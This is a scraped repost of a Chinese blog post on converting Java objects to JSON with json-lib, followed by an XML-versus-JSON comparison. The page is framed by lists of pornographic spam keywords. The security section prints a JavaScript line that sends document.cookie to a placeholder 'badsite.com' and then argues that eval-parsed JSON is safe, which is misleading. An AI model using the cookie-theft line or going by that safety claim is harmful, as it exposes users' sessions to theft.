日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > java >内容正文

java

Java对象转换为Json对象

發布時間:2025/3/21 java 17 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Java对象转换为Json对象 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言

曾幾何時,XML是程序員的寵兒,是數據傳輸、API、AJAX應用等方面的不二選擇,但自從JSON橫空出世后,或者你會發覺你身邊就有很多人開始拋棄XML,在他們的心目中,JSON已經完全取代了XML的位置。JSON有很多優勢,但也存在缺點,而XML雖然確實存在不少問題,但孰優孰劣,并不是可以依據個人喜好就輕易得出結論的。

JSON(Javascript Object Notation) 是一種輕量級的數據交換格式。易于人閱讀和編寫。同時也易于機器解析和生成。它基于Javascript Programming Language, Standard ECMA-262 3rd Edition – December 1999的一個子集。JSON采用完全獨立于語言的文本格式,但是也使用了類似于C語言家族的習慣(包括C, C++, C#, Java, Javascript, Perl, Python等)。這些特性使JSON成為理想的數據交換語言。 正是因為這樣,twitter已經聲稱他們的流媒體API將不再支持XML,Foursquare則強烈推薦開發者在使用他們的API時選擇JSON,因為他們計劃下一代接口只支持JSON。

注*?在進行編碼前還需要?commons-beanutils-1.7.0.jar 、?commons-lang-2.5.jar 、commons-logging-1.0.4.jar 、?ezmorph-1.0.6.jar 、?json-lib-1.1-jdk15.jar

morph-1.1.1.jar

?

import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map;import net.sf.json.JSONArray; import net.sf.json.JSONObject;import com.ch.entity.JSONTestBean; import com.ch.entity.Props;/*** Java對象轉換為Json對象* @author CHH* @since 2012-08-04*/public class TestJson {public static void main(String[] args) {TestJson j = new TestJson();j.ObjectList2json();}/*** List對象轉換為Json*/public void ObjectList2json() {Map map = new HashMap();List jlist = new ArrayList();//JSONTestBean類的構造方法JSONTestBean bean1 = new JSONTestBean("zhangbo", "123123");JSONTestBean bean2 = new JSONTestBean("lisi", "65489");//Props類的構造方法Props props = new Props("127.0.0.1", "8008");jlist.add(bean1);jlist.add(bean2);map.put("Props", props);map.put("jsonObjectList", jlist);JSONArray jsonArray = JSONArray.fromObject(map);System.out.println(jsonArray);}/*** 布爾數組轉換為Json*/public void arr2json() {boolean[] boolArray = new boolean[] { true, false, true };JSONArray jsonArray = JSONArray.fromObject(boolArray);System.out.println(jsonArray);// prints [true,false,true] }/*** List轉換為Json*/public void list2json() {List list = new ArrayList();list.add("first");list.add("second");JSONArray jsonArray = JSONArray.fromObject(list);System.out.println(jsonArray);// prints ["first","second"] }/*** 創建Json格式的數據*/public void createJson() {JSONArray jsonArray = JSONArray.fromObject("['json','is','easy']");System.out.println(jsonArray);// prints ["json","is","easy"] }/*** Map轉換為Json*/public void map2json() {Map map = new HashMap();map.put("name", "json");map.put("bool", Boolean.TRUE);map.put("int", new Integer(1));map.put("arr", new String[] { "a", "b" });map.put("func", "function(i){ return this.arr[i]; }");JSONObject json = JSONObject.fromObject(map);System.out.println(json);// prints// ["name":"json","bool":true,"int":1,"arr":["a","b"],"func":function(i){// return this.arr[i]; }] }/*** 類對象轉換為Json*/public void bean2json() {JSONObject jsonObject = JSONObject.fromObject(new JSONTestBean("zhangbo", "234234"));System.out.println(jsonObject);/** prints {"func1":function(i){ return this.options[i];* },"pojoId":1,"name":"json","func2":function(i){ return* this.options[i]; }}*/}/*** Json轉換為類對象*/public void json2bean() {String json = "{name=\"json2\",func1:true,pojoId:1,func2:function(a){ return a; },options:['1','2']}";// JSONObject jb = JSONObject.fromString(json);// JSONObject.toBean(jb, MyBean.class); System.out.println(json);}}

其他兩個實體類:

View?JSONTestBean 1 /** 2 * 實體類一 3 * 4 * @author CHH 5 * @since 2012-08-04 6 */ 7 public class JSONTestBean { 8 9 private String userName; 10 private String password; 11 12 public JSONTestBean() { 13 14 } 15 16 public JSONTestBean(String username, String password) { 17 this.userName = username; 18 this.password = password; 19 } 20 21 public String getPassword() { 22 return password; 23 } 24 25 public void setPassword(String password) { 26 this.password = password; 27 } 28 29 public String getUserName() { 30 return userName; 31 } 32 33 public void setUserName(String userName) { 34 this.userName = userName; 35 } 36 } View Props /*** * @author CHH* @since 2012-08-04*/ public class Props {private String ip;private String port;public Props() {}public Props(String ip, String port) {this.ip = ip;this.port = port;}public String getIp() {return ip;}public void setIp(String ip) {this.ip = ip;}public String getPort() {return port;}public void setPort(String port) {this.port = port;}}

?

CHH博客將從下面幾個方面來客觀比較一下兩者

  • 1.?可讀性
  • 2.?是否易于在服務端創建數據
  • 3.?是否易于在客戶端處理數據
  • 4.?擴展性
  • 5.?調試和故障排除
  • 6.?安全

可讀性

兩者都具備很好的可讀性,但從實際應用出發,個人還是覺得XML文檔的可讀性無疑會更高,要求你從一大堆的json代碼里看出它的結構層次關系還是相對比較困難的;而且現在很多的IDE工具都可以把XML格式化成易讀的結構形式,看起來相當舒服,而json則不然。在這一方面我投XML一票。

是否易于在服務端創建數據

XML已經流行了好多年了,故目前流行的編程語言都已經存在大量的XML數據綁定API去進行創建XML,以java語言為例,你既可以用JAXB,又可以用XmlBeans,又或者dom4j、jdom等去把數據寫到xml文件中。而另一方面,json這一方面的API則相對是一個全新的領域,盡管如此,json官方網站還是列出了很多令人印象深刻的各種語言的API,java方面比較著名的有json-lib,此外gson也算一個。在這一方面,雖然json相對于XML并不是望塵莫及,但還是略微遜色一籌,尤其是在復雜的應用方面,XML方面的API已經存在多年,相對來說成熟穩定得多了。

是否易于在客戶端處理數據

在客戶端,要處理XMLHttpRequest請求返回的json格式響應數據是一件輕而易舉的事情,只需要使用javascript的eval函數就可以實現把json格式的數據轉換成javascript對象,然后通過對象的屬性去訪問值,這就是json最優雅之處,無數人為之著迷。而XML在這一方面就不是那么的友善了,曾令無數的程序員頭痛不已,因為處理XML響應數據,你得通過DOM樹,這是非常繁瑣且容易出錯的工作。這一點,我毫不猶豫地選擇json。

擴展性

可擴展性有助于減少生產者與消費者之間的數據耦合。在AJAX應用里,客戶端腳本應該合理地兼容不可知的數據擴展。

毫無疑問,XML是可擴展的,但它的擴展是有局限的,因為如果你要適應擴展的話,那么你的客戶端代碼不得不作出相應的改動,如以下的客戶端解析代碼

?
1 2 3 4 var xml = xhr.responseXML; ?var elements = xml.getElementsByTagName("firstName"); ?var firstNameEl = elements[0]; ?var lastNameEl = firstNameEl.nextSibling;

如果你在響應xml中<firstName>結點后增加了<middlename>這一結點的話,那以上的代碼就要作相應的改變,否則會出錯,也就是說,XML的擴展得伴隨著解析代碼的變更,這可沒有什么魔法可言。而json則簡單得多,即使你要增加middleName這一屬性,在js客戶端依然是通過對象訪問屬性值即可,而不會引起js上的語法出錯之類的錯誤,導致程序無法執行。

調試和故障排除

這方面需要從服務端和客戶端兩方面進行考慮,在服務器端,要確保數據是格式良好的和有效的;在客戶端,它應該容易調試錯誤的。

使用XML的話會相對容易地檢查數據被發送到客戶端是格式良好的和有效的。您還可以使用數據架構(schema)來驗證xml的正確性和有效性。使用JSON,這個任務是手動的,并涉及驗證響應對象中是否包含正確的屬性。

在客戶端,要從兩者中找到錯誤都是比較困難的。對于XML,瀏覽器是完全無法將xml格式化成responseXML;如果對于數據量較少的json數據,還可以通過firebug來發現錯誤,但對于大數據量的話,那只能靠手工檢查了,否則也只能坐以待斃了。
安全性

有人認為,使用json是不安全的,原因是json里可以包含js代碼,而客戶端中使用eval可以使這些代碼執行,而這些代碼可能會存在安全隱患。如以下的代碼:

?
1 2 3 4 5 window.location = "<a href="http://badsite.com/">http://badsite.com</a>?" + document.cookie; ?person : { ?"firstName"?: "Subbu", ?"lastName"?: "Allamaraju" ?}

上面的代碼會導致瀏覽器把用戶的cookie數據提交到一個流氓網站。但出現這種情況的可能只會是開發者故意為之,別人是無法這樣做的,但如果是開發者有意為之的話,那他一樣以別的方式來實現把你的cookie數據提交到流氓網站,這與是否使用json無關,所以相對于XML,json是同樣的安全的。

?

我的結論

面向數據的應用,個人比較喜歡使用json,因為它簡單和易于在客戶端進行處理,或者xml在服務器是無與倫比的,但json在客戶端的優勢也是很明顯的。

另外,json官方也有一篇專門比較兩者的文章,大家可以參考一下:《JSON: The Fat-Free Alternative to XML》

轉載于:https://www.cnblogs.com/yuxiang204/archive/2012/10/16/2726256.html

總結

以上是生活随笔為你收集整理的Java对象转换为Json对象的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 亚洲图片在线 | 天天久久 | 国产专区一区 | 国产高清无密码一区二区三区 | 操操操日日日 | 久草a在线| 成人涩涩| 97avcc| 国产精品成人网站 | 哺乳期喷奶水丰满少妇 | 欧美色吊丝 | 草久久| 四虎影院永久 | 午夜伦伦电影理论片费看 | 国产自偷自拍视频 | 国产福利小视频在线 | 亚洲va国产va天堂va久久 | 疯狂做爰高潮videossex | 成人高清网站 | 亚洲AV蜜桃永久无码精品性色 | 午夜精品999 | 国产精品久久91 | 国产毛片一区二区三区 | 日韩人妻无码精品久久久不卡 | 污污av | c逼视频| 国产在线不卡 | 成人午夜精品一区二区 | av黄在线 | 欧美乱视频 | 精品处破女学生 | 一级黄色片大全 | 国产中年熟女高潮大集合 | 黄色在线不卡 | 性欧美videos另类艳妇3d | 亚洲av无码国产精品永久一区 | 日韩一区二区免费在线观看 | av免费的| 在线无遮挡 | 男人免费网站 | 99热最新在线 | 欧美色图一区 | 色婷婷中文 | 国产日韩中文字幕 | 国产一区二区三区色淫影院 | 中文字幕在线视频不卡 | 日韩精品免费一区二区 | 久久久久9| 久久精品人人爽 | 成人一级大片 | 秋霞影院午夜丰满少妇在线视频 | www.色综合.com | 黄色片免费在线观看 | 国产中年熟女高潮大集合 | 在线看片中文字幕 | 成人无码精品1区2区3区免费看 | 欧美日韩精品中文字幕 | 大乳女喂男人吃奶 | 欧美黄色三级 | 免费午夜影院 | 中文字幕播放 | 狠狠躁18三区二区一区传媒剧情 | 国产美女无遮挡免费 | 国产婷| 欧美成人午夜视频 | 精品国产aⅴ一区二区三区四川人 | 偷偷色噜狠狠狠狠的777米奇 | 亚洲制服丝袜一区 | 午夜精品福利在线观看 | 欧美人与动性xxxxx杂性 | 性做久久久久久久免费看 | 91丝袜呻吟高潮美腿白嫩 | 日本高清视频免费看 | 欧美性猛交ⅹxx乱大交 | 国产精品成人3p一区二区三区 | 天天高潮夜夜爽 | 欧美区一区二区 | 亚洲一区欧美二区 | 久久涩涩 | 毛片在线网站 | 天天操天天干天天摸 | 黑人巨大精品欧美黑寡妇 | 99免费国产 | 久久二区三区 | 久久久91精品国产一区二区三区 | 新91在线| 国产一区不卡在线观看 | 无码人妻丰满熟妇区五十路百度 | 97se.com | 爆操老女人 | 影音先锋波多野结衣 | 国产传媒专区 | 婷婷开心激情 | 激情小说av| 日本a级黄色 | 国产成人一区二区三区电影 | 久草视频国产 | 日本成人在线视频网站 | 国产精品1024 |